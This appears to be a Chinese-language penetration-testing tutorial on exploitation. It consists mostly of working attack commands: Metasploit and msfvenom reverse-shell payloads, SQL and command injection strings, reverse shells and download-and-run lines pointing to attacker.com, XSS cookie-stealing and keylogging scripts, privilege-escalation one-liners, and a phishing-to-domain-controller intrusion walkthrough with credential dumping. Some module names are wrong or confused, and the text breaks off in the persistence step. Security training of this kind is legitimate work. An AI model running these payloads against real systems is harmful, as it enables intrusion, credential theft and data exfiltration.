Day-186-漏洞利用技术详解

# Day 214: 漏洞利用技术详解

> 渗透测试系列第 4 天 | 预计阅读时间：60 分钟 | 难度：★★★★★

---

## 清单 目录

1. [漏洞利用概述](#漏洞利用概述)
2. [漏洞利用基本原理](#漏洞利用基本原理)
3. [Metasploit 框架详解](#metasploit 框架详解)
4. [常见漏洞利用技术](#常见漏洞利用技术)
5. [Web 应用漏洞利用](#web 应用漏洞利用)
6. [操作系统漏洞利用](#操作系统漏洞利用)
7. [提权技术详解](#提权技术详解)
8. [漏洞利用实战案例](#漏洞利用实战案例)
9. [漏洞利用最佳实践](#漏洞利用最佳实践)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## 漏洞利用概述

### 什么是漏洞利用

漏洞利用（Exploitation）是指利用已发现的安全漏洞，通过特定的攻击代码（Exploit）获取目标系统未授权访问权限的过程。

**漏洞利用的核心定义**：

```
┌─────────────────────────────────────────────────────────────┐
│                    漏洞利用定义                             │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  漏洞利用 = 漏洞 + Exploit + Payload + 交付机制            │
│                                                             │
│  关键要素：                                                 │
│  1. 漏洞（Vulnerability）                                   │
│     - 软件缺陷                                              │
│     - 配置错误                                              │
│     - 逻辑缺陷                                              │
│     - 人为弱点                                              │
│                                                             │
│  2. Exploit（利用代码）                                     │
│     - 触发漏洞的代码                                        │
│     - 绕过安全机制                                          │
│     - 实现预期效果                                          │
│                                                             │
│  3. Payload（载荷）                                         │
│     - 恶意代码                                              │
│     - 后门程序                                              │
│     - 数据窃取脚本                                          │
│                                                             │
│  4. 交付机制（Delivery）                                    │
│     - 网络传输                                              │
│     - 物理媒介                                              │
│     - 社会工程学                                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 漏洞利用分类

**按利用方式分类**：

```
┌─────────────────────────────────────────────────────────────┐
│                  漏洞利用分类                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  远程利用（Remote Exploitation）                            │
│  ├── 定义：通过网络远程触发漏洞                            │
│  ├── 特点：无需物理接触、影响范围广                        │
│  ├── 示例：RCE、SQL 注入、Web 漏洞                         │
│  └── 风险：高                                                │
│                                                             │
│  本地利用（Local Exploitation）                             │
│  ├── 定义：需要本地访问权限                                │
│  ├── 特点：通常需要初始访问、用于提权                      │
│  ├── 示例：内核漏洞、配置错误、SUID 滥用                   │
│  └── 风险：中                                                │
│                                                             │
│  物理利用（Physical Exploitation）                          │
│  ├── 定义：需要物理接触目标设备                            │
│  ├── 特点：绕过网络防御、直接访问硬件                      │
│  ├── 示例：USB 攻击、冷启动攻击、硬件篡改                  │
│  └── 风险：中                                                │
│                                                             │
│  社会工程学利用（Social Engineering）                       │
│  ├── 定义：利用人为因素                                    │
│  ├── 特点：针对人性弱点、难以技术防御                      │
│  ├── 示例：钓鱼邮件、电话诈骗、尾随进入                    │
│  └── 风险：高                                                │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

**按漏洞类型分类**：

| 类型 | 示例 | 利用难度 |
|------|------|----------|
| **缓冲区溢出** | Stack Overflow、Heap Overflow | 高 |
| **注入漏洞** | SQL 注入、命令注入、XSS | 中 |
| **文件包含** | LFI、RFI | 中 |
| **反序列化** | Java、PHP、.NET 反序列化 | 高 |
| **竞态条件** | TOCTOU、Race Condition | 高 |
| **权限提升** | 内核漏洞、配置错误 | 中 |
| **认证绕过** | 逻辑缺陷、默认凭证 | 低 - 中 |

---

## 漏洞利用基本原理

### 缓冲区溢出原理

**缓冲区溢出是最经典的漏洞类型**：

```
┌─────────────────────────────────────────────────────────────┐
│              缓冲区溢出原理                                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  正常情况：                                                 │
│  ┌─────────────┬─────────────┬─────────────┐               │
│  │ 局部变量    │ 返回地址    │ 其他数据    │               │
│  │ (buffer)    │ (return)    │             │               │
│  └─────────────┴─────────────┴─────────────┘               │
│                                                             │
│  溢出情况：                                                 │
│  ┌─────────────────────────────────────────┬───────────────┐
│  │ 恶意数据（覆盖 buffer 和 return）        │ Shellcode     │
│  └─────────────────────────────────────────┴───────────────┘
│                              ↓                                │
│  当函数返回时，执行恶意代码！                                │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

**利用步骤**：

```
1. 发现溢出点
   - 输入超长数据
   - 观察程序崩溃

2. 确定偏移量
   - 使用 pattern_create/pattern_offset
   - 精确定位返回地址位置

3. 构造 Payload
   - NOP sled（空操作滑板）
   - Shellcode（恶意代码）
   - 返回地址（指向 Shellcode）

4. 发送 Exploit
   - 触发漏洞
   - 获取 Shell
```

### Return-Oriented Programming (ROP)

**ROP 是绕过 DEP/ASLR 的技术**：

```
┌─────────────────────────────────────────────────────────────┐
│                  ROP 原理                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  问题：DEP 阻止执行栈上的代码                               │
│                                                             │
│  解决方案：使用程序中已有的代码片段（Gadgets）             │
│                                                             │
│  ROP Chain:                                                 │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐   │
│  │ Gadget 1 │→ │ Gadget 2 │→ │ Gadget 3 │→ │ Gadget 4 │   │
│  │ pop eax  │  │ pop ebx  │  │ call eax │  │ exit     │   │
│  │ ret      │  │ ret      │  │          │  │          │   │
│  └──────────┘  └──────────┘  └──────────┘  └──────────┘   │
│                                                             │
│  效果：链式执行任意操作                                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### Use-After-Free 原理

**UAF 是 C/C++ 常见漏洞**：

```
┌─────────────────────────────────────────────────────────────┐
│              Use-After-Free 原理                            │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  正常流程：                                                 │
│  1. 分配内存 → ptr = malloc(size)                          │
│  2. 使用内存 → *ptr = value                                │
│  3. 释放内存 → free(ptr)                                   │
│  4. 指针置空 → ptr = NULL                                  │
│                                                             │
│  漏洞流程：                                                 │
│  1. 分配内存 → ptr = malloc(size)                          │
│  2. 使用内存 → *ptr = value                                │
│  3. 释放内存 → free(ptr)                                   │
│  4. 未置空   → ptr 仍指向已释放内存                        │
│  5. 再次使用 → *ptr = attacker_value ← UAF!                │
│                                                             │
│  利用：攻击者控制已释放内存的内容                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

## Metasploit 框架详解

### Metasploit 概述

**Metasploit 是最流行的渗透测试框架**：

```
┌─────────────────────────────────────────────────────────────┐
│              Metasploit 架构                                │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  核心组件：                                                 │
│  ├── Exploits（利用模块）                                   │
│  │   └── 针对特定漏洞的攻击代码                            │
│  │                                                           │
│  ├── Payloads（载荷模块）                                   │
│  │   ├── Staged（分阶段）                                  │
│  │   └── Stageless（单阶段）                               │
│  │                                                           │
│  ├── Auxiliaries（辅助模块）                                │
│  │   ├── 扫描器                                            │
│  │   ├──  fuzzers                                           │
│  │   └── 其他工具                                          │
│  │                                                           │
│  ├── Post（后渗透模块）                                     │
│  │   └── 权限提升、凭证收集等                              │
│  │                                                           │
│  └── Encoders（编码模块）                                   │
│      └── 绕过杀毒软件                                      │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### Metasploit 安装与配置

```bash
# Kali Linux 预装
$ msfconsole

# 其他系统安装
$ curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/scripts/install.sh | bash

# 启动 Metasploit
$ msfconsole

# 检查数据库
$ msfconsole -q  # 安静模式

# 更新 Metasploit
$ msfupdate
```

### Metasploit 基础命令

```bash
# 启动后常用命令
msf6 > help                    # 帮助
msf6 > version                 # 版本信息
msf6 > search <keyword>        # 搜索模块
msf6 > use <module>            # 使用模块
msf6 > info                    # 模块信息
msf6 > show options            # 显示选项
msf6 > set <option> <value>    # 设置选项
msf6 > setg <option> <value>   # 全局设置
msf6 > exploit                 # 执行利用
msf6 > run                     # 执行辅助/后渗透模块
msf6 > back                    # 返回
msf6 > exit                    # 退出

# 会话管理
msf6 > sessions                # 列出会话
msf6 > sessions -i <id>        # 交互会话
msf6 > sessions -k <id>        # 终止会话
msf6 > sessions -K             # 终止所有会话

# 工作区管理
msf6 > workspace               # 列出工作区
msf6 > workspace -a <name>     # 添加工作区
msf6 > workspace -d <name>     # 删除工作区
msf6 > workspace -s <name>     # 切换工作区
```

### 搜索和利用模块

```bash
# 搜索漏洞
msf6 > search cve:2021
msf6 > search apache
msf6 > search windows/smb
msf6 > search type:exploit platform:windows

# 搜索结果过滤
msf6 > search cve:2017-5638
msf6 > search rank:excellent
msf6 > search disclosed:2023

# 使用模块
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(struts2_content_type_ognl) > info

# 查看模块信息
msf6 exploit(struts2_content_type_ognl) > info

Module information:
     Name: Apache Struts2 Content-Type OGNL Injection
     Module: exploit/multi/http/struts2_content_type_ognl
     Platform: Java, Linux, Windows
     Arch: java, x86, x64
     Privileged: No
     Rank: Excellent
     Disclosed: 2017-03-06

Description:
       This module exploits a remote code execution vulnerability
       in Apache Struts2...

References:
       https://nvd.nist.gov/vuln/detail/CVE-2017-5638
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
```

### 设置和利用

```bash
# 设置目标
msf6 exploit(struts2_content_type_ognl) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10

# 设置端口
msf6 exploit(struts2_content_type_ognl) > set RPORT 8080
RPORT => 8080

# 设置目标 URI
msf6 exploit(struts2_content_type_ognl) > set TARGETURI /login.action
TARGETURI => /login.action

# 查看 Payload
msf6 exploit(struts2_content_type_ognl) > show payloads

Compatible Payloads:
---------------------
  Name                              Disclosure Date  Rank    Description
  ----                              ---------------  ----    -----------
  java/meterpreter/reverse_tcp                     normal  Java Meterpreter
  java/shell_reverse_tcp                           normal  Java Shell
  cmd/unix/reverse                                 normal  Unix Command Shell

# 设置 Payload
msf6 exploit(struts2_content_type_ognl) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp

# 设置监听地址
msf6 exploit(struts2_content_type_ognl) > set LHOST 10.10.10.5
LHOST => 10.10.10.5

# 设置监听端口
msf6 exploit(struts2_content_type_ognl) > set LPORT 4444
LPORT => 4444

# 检查目标
msf6 exploit(struts2_content_type_ognl) > check
[*] 192.168.1.10:8080 - The target appears to be vulnerable.

# 执行利用
msf6 exploit(struts2_content_type_ognl) > exploit

[*] Started reverse TCP handler on 10.10.10.5:4444
[*] Command shell session 1 opened
meterpreter > whoami
www-data
meterpreter > id
uid=33(www-data) gid=33(www-data)
```

### Meterpreter 使用

**Meterpreter 是 Metasploit 的高级 Payload**：

```bash
# 基本命令
meterpreter > help
meterpreter > sysinfo              # 系统信息
meterpreter > getuid               # 当前用户
meterpreter > getprivs             # 当前权限
meterpreter > pwd                  # 当前目录
meterpreter > ls                   # 列出文件
meterpreter > cd <dir>             # 切换目录
meterpreter > cat <file>           # 读取文件
meterpreter > upload <file>        # 上传文件
meterpreter > download <file>      # 下载文件
meterpreter > execute -f <prog>    # 执行程序
meterpreter > shell                # 获取系统 Shell

# 进程操作
meterpreter > ps                   # 列出进程
meterpreter > migrate <pid>        # 迁移进程
meterpreter > kill <pid>           # 终止进程

# 网络操作
meterpreter > ifconfig             # 网络配置
meterpreter > netstat              # 网络连接
meterpreter > route                # 路由表
meterpreter > portfwd              # 端口转发

# 凭证收集
meterpreter > hashdump             # 转储哈希
meterpreter > kerberos             # Kerberos 凭证
meterpreter > mimikatz             # 运行 Mimikatz

# 持久化
meterpreter > run persistence      # 安装持久化后门
meterpreter > run metsvc           # 安装 Metasploit 服务

# 后渗透模块
meterpreter > run post/windows/gather/credentials/windows_autologon
meterpreter > run post/windows/gather/enum_shares
meterpreter > run post/windows/gather/enum_logged_on_users
```

### 编码和免杀

```bash
# 生成编码的 Payload
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o payload.exe

# 使用多个编码器
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 \
  -e x86/countdown -i 2 \
  -f exe -o payload.exe

# 查看可用编码器
$ msfvenom -l encoders

# 自定义编码器
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -e x86/shikata_ga_nai \
  -a x86 --platform windows \
  -f exe -o payload.exe
```

### Msfvenom Payload 生成

```bash
# Windows Payload
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f exe -o payload.exe

# Linux Payload
$ msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f elf -o payload.elf

# Mac Payload
$ msfvenom -p osx/x86/shell_reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f macho -o payload.macho

# PHP Payload
$ msfvenom -p php/meterpreter_reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f raw -o payload.php

# ASP Payload
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f asp -o payload.asp

# WAR Payload (Java Web)
$ msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f war -o payload.war

# Python Payload
$ msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f raw -o payload.py

# PowerShell Payload
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f ps1 -o payload.ps1

# 添加 Shellcode
$ msfvenom -p windows/exec CMD="calc.exe" \
  -f exe -o calc.exe
```

---

## 常见漏洞利用技术

### SQL 注入利用

**SQLMap 自动化利用**：

```bash
# 检测注入
$ sqlmap -u "https://target.com/page?id=1"

# 获取数据库
$ sqlmap -u "https://target.com/page?id=1" --dbs

# 获取表
$ sqlmap -u "https://target.com/page?id=1" -D database --tables

# 获取列
$ sqlmap -u "https://target.com/page?id=1" -D database -T users --columns

# 导出数据
$ sqlmap -u "https://target.com/page?id=1" -D database -T users --dump

# 获取 Shell
$ sqlmap -u "https://target.com/page?id=1" --os-shell

# 读取文件
$ sqlmap -u "https://target.com/page?id=1" --file-read="/etc/passwd"

# 写入文件
$ sqlmap -u "https://target.com/page?id=1" --file-write=shell.php --file-dest=/var/www/shell.php

# 绕过 WAF
$ sqlmap -u "https://target.com/page?id=1" --tamper=space2comment
$ sqlmap -u "https://target.com/page?id=1" --tamper=apostrophemask
$ sqlmap -u "https://target.com/page?id=1" --tamper=charencode

# 多个 Tamper 脚本
$ sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between,equaltolike
```

**手动 SQL 注入**：

```sql
-- 检测注入点
' OR '1'='1
" OR "1"="1
' OR 1=1--
" OR 1=1--

-- 联合查询注入
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--

-- 盲注（布尔）
' AND 1=1--
' AND (SELECT COUNT(*) FROM users) > 0--

-- 盲注（时间）
' AND SLEEP(5)--
' AND BENCHMARK(10000000,SHA1('test'))--

-- 报错注入
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version())),1)--

-- 堆叠注入
'; DROP TABLE users--
'; EXEC xp_cmdshell('whoami')--
```

### 命令注入利用

```bash
# 基础命令注入
; whoami
| whoami
&& whoami
|| whoami

# 换行注入
%0Awhoami
%0Dwhoami

# 反引号注入
`whoami`
$(whoami)

# 编码绕过
$({whoami})
${whoami}

# 常见 Payload
; cat /etc/passwd
| nc attacker.com 4444 -e /bin/bash
&& wget http://attacker.com/shell.sh && bash shell.sh
```

### 文件包含漏洞

**LFI（本地文件包含）**：

```
# 基础 LFI
http://target.com/page.php?file=../../../../etc/passwd

# 使用过滤器
http://target.com/page.php?file=php://filter/convert.base64-encode/resource=index.php

# 读取源码
http://target.com/page.php?file=php://filter/read=string.rot13/resource=index.php

# 日志注入
http://target.com/page.php?file=/var/log/apache2/access.log
# 然后在 User-Agent 中注入 PHP 代码
```

**RFI（远程文件包含）**：

```
# 基础 RFI
http://target.com/page.php?file=http://attacker.com/shell.txt?

# 需要 allow_url_include=On
http://target.com/page.php?file=http://attacker.com/shell.php?
```

### XXE 漏洞利用

```xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY bar SYSTEM "file:///etc/passwd" >
]>
<foo>&bar;</foo>

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY bar SYSTEM "file:///etc/passwd" >
]>
<request>
  <text>&bar;</text>
</request>

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY bar SYSTEM "http://192.168.1.1:8080/" >
]>

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY % bar SYSTEM "http://attacker.com/xxe.dtd" >
  %bar;
]>
```

### SSRF 漏洞利用

```
# 基础 SSRF
http://target.com/fetch?url=http://internal-server/admin

# 访问内网
http://target.com/fetch?url=http://192.168.1.1
http://target.com/fetch?url=http://127.0.0.1:8080

# 绕过过滤
http://target.com/fetch?url=http://0.0.0.0:22
http://target.com/fetch?url=http://[::1]:80
http://target.com/fetch?url=http://localhost:8080

# DNS 重绑定
http://target.com/fetch?url=http://attacker.com
# attacker.com 解析为内网 IP

# 云环境 SSRF
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
```

### 反序列化漏洞

**Java 反序列化**：

```bash
# 使用 ysoserial
$ java -jar ysoserial.jar CommonsCollections5 "nc attacker.com 4444 -e /bin/bash" > payload.bin

# 发送 Payload
$ curl -X POST -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin http://target.com/deserialize

# 其他 Payload 类型
$ java -jar ysoserial.jar Groovy1 "command" > payload.bin
$ java -jar ysoserial.jar Spring2 "command" > payload.bin
$ java -jar ysoserial.jar Jdk7u21 "command" > payload.bin
```

**PHP 反序列化**：

```php
<?php
class Exploit {
    public function __destruct() {
        system($_GET['cmd']);
    }
}

$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>

# Payload:
O:7:"Exploit":0:{}
```

---

## Web 应用漏洞利用

### XSS 漏洞利用

**存储型 XSS**：

```html

<script>alert('XSS')</script>

<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/log?key=' + e.key);
}
</script>

<script>
document.body.innerHTML = '<form action="http://attacker.com/steal">' +
    '<input name="username"><input name="password" type="password">' +
    '<button>Submit</button></form>';
</script>
```

**反射型 XSS**：

```html
# URL Payload:
http://target.com/search?q=<script>alert('XSS')</script>
http://target.com/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E

# 绕过过滤:
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<svg/onload=alert('XSS')>
<body/onload=alert('XSS')>
<img src=x onerror=alert('XSS')>
```

**DOM XSS**：

```html
# 利用 location.hash
<script>
document.write(location.hash.substring(1));
</script>
# Payload: #<img src=x onerror=alert(1)>

# 利用 document.referrer
<script>
document.write(document.referrer);
</script>
```

### 文件上传漏洞

```bash
# 基础上传绕过
shell.php
shell.php5
shell.phtml
shell.php.jpg

# 内容类型绕过
Content-Type: image/jpeg
# 文件内容：<?php system($_GET['cmd']); ?>

# 魔术字节绕过
GIF89a
<?php system($_GET['cmd']); ?>

# 条件竞争
# 快速上传并访问
$ for i in {1..100}; do curl -F "file=@shell.php" http://target.com/upload; done
$ for i in {1..100}; do curl http://target.com/uploads/shell.php?cmd=whoami; done

# .htaccess 上传
# 上传 .htaccess:
AddType application/x-httpd-php .jpg
# 然后上传 shell.jpg
```

### CSRF 漏洞利用

```html

<img src="http://target.com/change-password?new=attacker" width="0" height="0">

<form id="csrf" method="POST" action="http://target.com/transfer">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="to" value="attacker">
</form>
<script>document.getElementById('csrf').submit();</script>

<form id="csrf" method="POST" action="http://target.com/admin/add-user">
    <input type="hidden" name="username" value="backdoor">
    <input type="hidden" name="password" value="P@ssw0rd123">
    <input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>
```

### 认证绕过

```
# SQL 注入绕过
admin'--
admin'/*
' OR '1'='1
' OR 1=1 LIMIT 1--

# 逻辑绕过
username: admin
password: anything' OR '1'='1

# 参数篡改
POST /login
username=admin&password=wrong&authenticated=true

# JWT 篡改
# 修改算法为 None
{
  "alg": "none",
  "typ": "JWT"
}
# 删除签名部分

# 弱密钥爆破
# 使用 jwt-crack 工具
$ jwt-crack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

---

## 操作系统漏洞利用

### Windows 漏洞利用

**永恒之蓝（MS17-010）**：

```bash
# 检测漏洞
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

# 利用漏洞
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > exploit

# 获取 SYSTEM 权限
meterpreter > getprivs
meterpreter > getsystem
```

**BlueKeep（CVE-2019-0708）**：

```bash
# 检测
msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

# 利用
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6 > set RHOST 192.168.1.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit
```

**PrintNightmare（CVE-2021-34527）**：

```bash
# 利用
msf6 > use exploit/windows/smb/ntprint_ms16_070
msf6 > set RHOSTS 192.168.1.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit
```

### Linux 漏洞利用

**Dirty COW（CVE-2016-5195）**：

```bash
# 检查内核版本
$ uname -r
# 2.6.22 < version < 4.8.3

# 编译 Exploit
$ gcc -pthread dirty.c -o dirty -lcrypt

# 执行提权
$ ./dirty
# 修改 /etc/passwd 或替换 SUID 文件
```

**PwnKit（CVE-2021-4034）**：

```bash
# 检查 pkexec
$ which pkexec
/usr/bin/pkexec

# 利用
$ gcc cve-2021-4034.c -o pwnkit
$ ./pwnkit
# 获取 root Shell
```

**Polkit 提权**：

```bash
# 使用 Metasploit
msf6 > use exploit/linux/local/polkit_dbus_auth_bypass
msf6 > set SESSION 1
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > exploit
```

---

## 提权技术详解

### Linux 提权

**信息收集**：

```bash
# 系统信息
$ uname -a
$ cat /etc/*release
$ cat /etc/issue

# 用户信息
$ whoami
$ id
$ cat /etc/passwd
$ cat /etc/shadow  # 需要 root

# 进程信息
$ ps aux
$ ps -ef

# 网络信息
$ ifconfig
$ netstat -tulpn
$ ss -tulpn

# 历史命令
$ history
$ cat ~/.bash_history

# 查找 SUID 文件
$ find / -perm -u=s -type f 2>/dev/null

# 查找可写文件
$ find / -writable -type f 2>/dev/null
$ find /etc -writable -type f 2>/dev/null

# 查找 cron 任务
$ cat /etc/crontab
$ ls -la /etc/cron.*

# 查找敏感文件
$ find / -name "*password*" 2>/dev/null
$ find / -name "*credential*" 2>/dev/null

# 检查内核漏洞
$ linux-exploit-suggester.sh
$ linuxprivchecker.py
```

**常见提权方法**：

```bash
# 1. 内核漏洞提权
$ searchsploit linux kernel <version>
$ gcc exploit.c -o exploit
$ ./exploit

# 2. SUID 提权
$ find / -perm -u=s -type f 2>/dev/null
# 常见 SUID: vim, find, nmap, bash, python

# find SUID 提权
$ find . -exec /bin/sh -p \; -quit

# vim SUID 提权
$ vim -c ':!/bin/sh -p'

# python SUID 提权
$ python -c 'import os; os.setuid(0); os.system("/bin/sh")'

# 3. Sudo 提权
$ sudo -l
# 检查可执行的命令

# 如果允许 ALL
$ sudo /bin/bash

# 如果允许特定命令
$ sudo vim
# :!/bin/sh

# 4. Cron 提权
# 查找可写的 cron 脚本
$ ls -la /etc/cron.*
# 修改脚本获取执行

# 5. PATH 劫权
# 查找使用相对路径的脚本
$ cat /usr/local/bin/vulnerable-script
# 创建恶意程序
$ echo '#!/bin/bash\n/bin/sh -p' > /tmp/id
$ chmod +x /tmp/id
$ export PATH=/tmp:$PATH
$ vulnerable-script
```

### Windows 提权

**信息收集**：

```powershell
# 系统信息
systeminfo
wmic os get Caption,Version,ServicePackVersionNumber

# 用户信息
whoami
whoami /priv
whoami /groups
net users
net localgroup administrators

# 进程信息
tasklist /v
tasklist /svc

# 网络信息
ipconfig /all
netstat -ano

# 补丁信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 查找敏感信息
dir /s *password*
dir /s *credential*
type C:\Unattend.xml
type C:\Windows\Panther\Unattend\Unattend.xml

# 查找可写位置
dir /s /b /a-d | findstr /i "desktop documents downloads"
```

**常见提权方法**：

```powershell
# 1. 内核漏洞提权
# 使用 Metasploit
msf6 > use exploit/windows/local/ms17_010_smbghost
msf6 > set SESSION 1
msf6 > exploit

# 或使用独立 Exploit
$ searchsploit windows kernel <version>
$ msfvenom -p windows/shell_reverse_tcp ... -f exe -o exploit.exe

# 2. 服务配置错误提权
# 查找弱权限服务
$ sc query
$ sc qc <service_name>

# 如果服务二进制文件路径可写
# 替换为恶意程序并重启服务

# 3. 不安全的注册表权限
# 查找 ImagePath 可写的服务
$ reg query HKLM\SYSTEM\CurrentControlSet\Services

# 4. AlwaysInstallElevated
# 检查注册表
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

# 如果值为 1，可以安装 MSI 提权
$ msfvenom -p windows/meterpreter/reverse_tcp -f msi -o malicious.msi
# 安装 MSI 获取 SYSTEM 权限

# 5. 凭证提权
# 使用 Mimikatz
meterpreter > load kiwi
meterpreter > creds_all
meterpreter > lsadump

# 或使用内置工具
$ sekurlsa::logonpasswords
$ lsadump::sam
```

---

## 漏洞利用实战案例

### 案例背景

**目标**：某企业内部网络
**初始访问**：钓鱼邮件
**目标**：获取域控权限

### 攻击过程

#### 第 1 阶段：初始访问

```bash
# 钓鱼邮件 Payload
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f exe -o document.exe

# 生成宏病毒
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f vba-exe -o macro.vba

# 启动监听
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > exploit

# 获取初始 Shell
[*] Command shell session 1 opened
```

#### 第 2 阶段：信息收集

```powershell
# 系统信息
meterpreter > sysinfo
Computer        : WORKSTATION-01
OS              : Windows 10 (Build 19042)
Architecture    : x64

# 用户信息
meterpreter > getuid
Server username: CORP\user1

# 权限信息
meterpreter > getprivs

# 网络信息
meterpreter > ifconfig
meterpreter > netstat

# 进程迁移
meterpreter > ps
meterpreter > migrate 1234  # 迁移到 explorer.exe

# 内网侦察
meterpreter > run post/windows/gather/enum_shares
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/enum_domains
```

#### 第 3 阶段：凭证收集

```powershell
# 转储哈希
meterpreter > load kiwi
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user1:1000:aad3b435b51404eeaad3b435b51404ee:1234567890abcdef:::

# Mimikatz 抓取明文密码
meterpreter > creds_all
CORP\user1  Password123!

# 浏览器凭证
meterpreter > run post/windows/gather/credentials/chrome
meterpreter > run post/windows/gather/credentials/firefox
```

#### 第 4 阶段：横向移动

```powershell
# 使用凭证连接其他主机
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOST 192.168.1.20
msf6 > set SMBUser user1
msf6 > set SMBPass Password123!
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > exploit

# 或使用 WMI
msf6 > use exploit/windows/smb/wmi_exec
msf6 > set RHOST 192.168.1.20
msf6 > set SMBUser user1
msf6 > set SMBPass Password123!
msf6 > exploit

# Pass-the-Hash
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOST 192.168.1.20
msf6 > set SMBUser Administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 > exploit
```

#### 第 5 阶段：域权限提升

```powershell
# 枚举域
meterpreter > run post/windows/gather/enum_domains

# 发现域控
Domain: CORP
DC: dc01.corp.local (192.168.1.10)

# 枚举域用户
meterpreter > run post/windows/gather/enum_domain_users

# 发现管理员
CORP\Domain Admins
CORP\Administrator

# 攻击域控
msf6 > use exploit/windows/dcerpc/ms03_026_netapi
msf6 > set RHOST 192.168.1.10
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > exploit

# 或使用 Zerologon (CVE-2020-1472)
msf6 > use exploit/windows/dcerpc/cve_2020_1472_zerologon
msf6 > set RHOST 192.168.1.10
msf6 > exploit

# 获取域控权限
meterpreter > getprivs
SeDebugPrivilege: enabled
SeTcbPrivilege: enabled

# 转储域哈希
meterpreter > load kiwi
meterpreter > lsadump::dcsync /user:CORP\krbtgt
```

#### 第 6 阶段：持久化

```powershell
# 安装后门
meterpreter > run persistence -U -X -p 4444 -r 10.10.10.5

# 创建计划任务
